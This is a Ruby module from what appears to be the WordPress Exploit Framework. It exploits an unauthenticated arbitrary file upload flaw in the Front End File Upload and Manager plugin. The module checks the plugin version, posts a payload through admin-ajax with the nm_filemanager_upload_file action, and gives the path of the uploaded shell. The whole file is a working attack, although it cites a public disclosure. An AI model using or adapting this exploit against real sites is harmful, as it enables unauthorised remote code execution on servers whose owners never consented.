# frozen_string_literal: true

class Wpxf::Exploit::FrontEndFileUploadAndManagerShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'Front End File Upload and Manager Unauthenticated Shell Upload',
      author: [
        'White Fir Design', # Discovery and disclosure
        'rastating'         # WPXF module
      ],
      references: [
        ['WPVDB', '8632'],
        ['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-front-end-file-upload-and-manager-plugin/']
      ],
      date: 'Sep 19 2016'
    )
  end

  def check
    check_plugin_version_from_readme('nmedia-user-file-uploader', '4.0')
  end

  def uploader_url
    wordpress_url_admin_ajax
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_field('action', 'nm_filemanager_upload_file')
    builder.add_field('name', payload_name.downcase)
    builder.add_file_from_string('file', payload.encoded, payload_name.downcase)
    builder
  end

  def uploaded_payload_location
    normalize_uri(wordpress_url_uploads, 'user_uploads', payload_name.downcase)
  end
end
